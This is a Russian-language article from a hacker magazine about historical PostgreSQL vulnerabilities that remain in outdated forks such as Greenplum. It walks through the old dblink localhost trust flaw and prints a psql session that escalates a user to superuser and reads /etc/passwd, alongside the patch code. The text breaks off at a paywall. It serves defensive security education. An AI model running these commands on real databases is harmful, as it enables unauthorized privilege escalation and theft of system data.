Раз в квар­тал у PostgreSQL выходит минор­ный релиз с парой уяз­вимос­тей. Час­то они поз­воля­ют прев­ратить неп­ривиле­гиро­ван­ного поль­зовате­ля в мес­тно­го царя superuser’а. Ну, в «Пост­гре­се» все прос­то — накаты­ваем пат­чи в момент выхода обновле­ния и спим спо­кой­но. Одна­ко боль­шинс­тво фор­ков оста­ются уяз­вимыми! Я про­шел­ся по исто­ричес­ким CVE «Пост­гре­са» в поис­ках инте­рес­ных лазе­ек и нашел там очень мно­го инте­рес­ного.

warning

Статья име­ет озна­коми­тель­ный харак­тер и пред­назна­чена для спе­циалис­тов по безопас­ности, про­водя­щих тес­тирова­ние в рам­ках кон­трак­та. Автор и редак­ция не несут ответс­твен­ности за любой вред, при­чинен­ный с при­мене­нием изло­жен­ной информа­ции. Рас­простра­нение вре­донос­ных прог­рамм, наруше­ние работы сис­тем и наруше­ние тай­ны перепис­ки прес­леду­ются по закону.

Не­дав­но я учас­тво­вал в соз­дании управля­емо­го Greenplum для Yandex.Cloud. Greenplum — это ана­лити­чес­кая база на осно­ве ста­рого доб­рого PostgreSQL. Про доб­рый — это такая прис­казка. А вот ста­рый Postgres там во весь рост. Greenplum 6 сде­лан на осно­ве PostgreSQL 9.4, для которо­го обновле­ния безопас­ности не выпус­кают­ся с доковид­ных вре­мен.

Что зна­чит тер­мин «управля­емый» при­мени­тель­но к Greenplum? Наши обвязки — Control Plane — авто­мати­чес­ки соеди­няют­ся с базой, дела­ют бэкапы, монито­рят, не сло­малось ли чего, уста­нав­лива­ют обновле­ния и все такое про­чее. Исто­ричес­ки во всех базах дан­ных есть супер­поль­зователь. Это — уро­вень, на котором поль­зователь может все, что дос­тупно про­цес­су базы. В час­тнос­ти, он может ата­ковать Control Plane. Поэто­му в управля­емых базах при­виле­гии супер­поль­зовате­ля обыч­но недос­тупны, а если дос­тупны — это пред­став­ляет серь­езную опас­ность для дан­ных. Какой‑нибудь буй­ный сосед может ата­ковать Control Plane, а потом и всю нашу базу. Поэто­му каж­дую уяз­вимость «Пост­гре­са» я теперь рас­смат­риваю как повод про­пат­чить Greenplum.

Во­обще, у «Пост­гре­са» име­ется тон­на фор­ков. Потен­циаль­но все они уяз­вимы ко все­му, что будет перечис­лено в этой статье. В резуль­тате на таких базах начина­ют май­нить или слу­чают­ся исто­рии как с фот­ками Скар­лет. Кро­ме того, мно­гие обла­ка не зас­тавля­ют поль­зовате­лей апгрей­дить­ся пос­ле end of life мажор­ной вер­сии. У некото­рых, как, нап­ример, у Redshift, есть прог­раммы bug bounty. Если у тебя в запасе уйма сво­бод­ного вре­мени — это хороший шанс кон­верти­ровать зна­ния в день­ги.

Мо­жет показать­ся, что эпич­ные дыры в безопас­ности — вер­ный приз­нак «решета», которым луч­ше не поль­зовать­ся. Это не так. Откры­тая пуб­ликация всех исто­ричес­ких уяз­вимос­тей — то, что не дает заметать под ковер zero day. Понят­ный про­цесс под­дер­жки и обновле­ния мажор­ных вер­сий пилит комитет PostgreSQL security. Он не зависит от одной ком­мерчес­кой ком­пании и проз­рачно фор­миру­ется из мно­жес­тва чле­нов сооб­щес­тва, извес­тных сво­им дотош­ным ревью кода. Хочешь помес­тить зак­ладку в код «Пост­гре­са», как это слу­чилось с ядром Linux? Для одной попыт­ки пот­ребу­ются мно­гие годы работы, если не десяти­летия.

Что ж, перей­дем, наконец, к сути. Чем мож­но себя раз­влечь, встре­тив недопат­ченный «Пост­грес»?

 

CVE-2018-10915. Хитрые строки подключения

Уяз­вимос­ти CVE-2018-10915 под­верже­ны вер­сии 10.4, 9.6.9 и более древ­ние. Сама уяз­вимость называ­ется Certain host connection parameters defeat client-side security defenses, и может показать­ся, буд­то речь идет об опас­ности на сто­роне кли­ента, а не сер­вера. Но CVSS score 8,5 намека­ет, что все не так прос­то.

Ког­да сер­вер откры­вает соеди­нения по прось­бе кли­ента — это всег­да потен­циаль­ная угро­за. Если твой веб‑сер­вер про­ходит по URL’у, получен­ному от кли­ента, — кли­ент обя­затель­но под­сунет URL для заказа пиц­цы в ваш дата‑центр.

История из жизни сообщества

Один раз мы приш­ли в сооб­щес­тво с пред­ложени­ем раз­решить неп­ривиле­гиро­ван­ным поль­зовате­лям соз­давать под­писки логичес­кой реп­ликации. В сооб­щес­тве нам намек­нули, что соз­дание исхо­дящих соеди­нений — уже отличный спо­соб остать­ся с голой базой про­тив ежа. И дей­стви­тель­но, нем­ного подумав, мы наш­ли спо­соб взло­мать собс­твен­ный набор пат­чей.

В PostgreSQL для обра­щения к дан­ным на сосед­них сер­верах есть спе­циаль­ные рас­ширения — dblink и postgres_fdw. Они поз­воля­ют исполь­зовать таб­лицы на дру­гих сер­верах (необя­затель­но PostgreSQL) в SQL-зап­росах.

Принцип работы dblink и postgres_fdw
Прин­цип работы dblink и postgres_fdw

Postgres_fdw — это чуть более удоб­ный спо­соб сде­лать ров­но то же самое. Поль­зователь не переда­ет зап­росы тек­стом, а локаль­но видит уда­лен­ную таб­лицу как обыч­ную.

Ес­ли в базе дан­ных уже соз­дано одно из этих двух рас­ширений, поль­зователь может схо­дить с адре­са сер­вера PostgreSQL куда‑нибудь за дан­ными. Уже сам по себе этот факт ког­да‑то соз­давал при­коль­ную уяз­вимость CVE-2007-6601. При­чем не нуж­но даже лазить куда‑то далеко — мож­но прос­то прий­ти от сер­вера к самому себе и поп­росить локаль­ное соеди­нение.

Локальное соединение с dblink
Ло­каль­ное соеди­нение с dblink

Та­кой Уро­борос воз­можен потому, что в host based authentication (pg_hba.conf) час­то мож­но видеть какие‑нибудь при­коль­ные строч­ки вро­де тех, что при­веде­ны ниже. Дос­ловно они озна­чают «локаль­ным соеди­нени­ям — верить».

# "local" is for Unix domain socket connections only
local all all trust
# IPv4 local connections:
host all all 127.0.0.1/32 trust
# IPv6 local connections:
host all all ::1/128 trust

Они туда при­езжа­ют из докер‑обра­за или при ини­циали­зации с initdb. Что же делать с такой воз­можностью?

postgres=# SELECT dblink_exec('host=localhost dbname=postgres','ALTER USER x4m WITH SUPERUSER;');
dblink_exec
-------------
ALTER ROLE
(1 row)
postgres=# \c postgres
You are now connected to database "postgres" as user "x4m".
postgres=# CREATE TABLE pwn(t TEXT);
CREATE TABLE
postgres=# COPY pwn FROM '/etc/passwd';
COPY 27
postgres=# SELECT * FROM pwn;

info

Сра­зу отме­чу два момен­та.

  1. Ко­неч­но, это стриг­герит монито­рин­ги — для защиты от таких взло­мов необ­ходимо пос­тоян­но про­верять whitelist суперъ­юзе­ров в сис­теме. Это сов­сем нес­ложно тех­ничес­ки и в хороших сис­темах дав­но сде­лано. Но неп­рият­ности могут начать­ся еще до того, как на хост при­бегут безопас­ники с щип­цами и паяль­ником.
  2. Хо­рошую инс­трук­цию по осно­вам хакин­га PostgreSQL мож­но най­ти на pentest-wiki. Некото­рые при­меры в этой статье взя­ты отту­да.

Ра­зуме­ется, такую уяз­вимость запат­чили еще в далеком 2007 году (Дуров, вер­ни сте­ну!). При­чем запат­чили не­хит­рым спо­собом, теперь dblink и postgres_fdw не сог­ласны идти куда‑либо без пароля!

static void
dblink_security_check(PGconn *conn, remoteConn *rconn)
{
if (!superuser())
{
if (!PQconnectionUsedPassword(conn))
{
PQfinish(conn);
if (rconn)
pfree(rconn);
ereport(ERROR,
(errcode(ERRCODE_S_R_E_PROHIBITED_SQL_STATEMENT_ATTEMPTED),
errmsg("password is required"),
errdetail("Non-superuser cannot connect if the server does not request a password."),
errhint("Target server's authentication method must be changed.")));
}
}
}

Вот и слав­но, теперь все безопас­но, мы не исполь­зуем бес­пароль­ные соеди­нения от адре­са нашего сер­вера. Защити­ли себя от самих себя. Но прог­ресс (как и «Пост­грес») не сто­ит на мес­те, новые фичи при­несут новые баги!

В 2010-х сооб­щес­тво Postgres активно пилило фичи для захода в рынок Enterprise-сис­тем. Одна из таких фич — пос­тро­ение высоко­дос­тупной (highly available) базы дан­ных. Дело в том, что любое железо может рано или поз­дно отка­зать: дис­ки иног­да сып­лются как песок, память стра­дает от кос­мичес­ких лучей, проц перег­рева­ется, сетевой свич получа­ет баж­ную про­шив­ку, кабель до дата‑цен­тра перег­рыза­ет злоб­ный хомяк и так далее. Стан­дар­тный под­ход для решения таких проб­лем — дуб­лирова­ние сис­тем. У ави­алай­нера как минимум два дви­гате­ля, у парашю­тис­та два парашю­та, у Вуп­сеня — Пуп­сень, у Пупы — Лупа.

Так и PostgreSQL уме­ет реп­лициро­вать пол­ную бинар­ную копию дан­ных на дру­гое железо, где веро­ятность одновре­мен­ного отка­за миними­зиро­вана. При этом кли­ент име­ет два или боль­ше hostname’ов и не зна­ет, кто есть кто, до откры­тия соеди­нения.

Реплицирование БД в PostgreSQL
Реп­лициро­вание БД в PostgreSQL

Кли­ент может ука­зать в стро­ке соеди­нения, нужен ли ему Primary для записи, или подой­дет любой живой Standby, где мож­но выпол­нить толь­ко чита­ющие зап­росы. Стро­ка соеди­нения при этом выг­лядит так.

postgresql://host1:port2,host2:port2/?target_session_attrs=read-write

Это фича PostgreSQL 10, о ней мож­но под­робнее почитать тут. Но и в PostgreSQL 9.6 мож­но сде­лать то же самое, если один DNS name вер­нет нес­коль­ко IP-адре­сов.

Продолжение доступно только участникам

Материалы из последних выпусков становятся доступны по отдельности только через два месяца после публикации. Чтобы продолжить чтение, необходимо стать участником сообщества «Xakep.ru».

Присоединяйся к сообществу «Xakep.ru»!

Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее

Подписаться
Уведомить о
0 комментариев
Межтекстовые Отзывы
Посмотреть все комментарии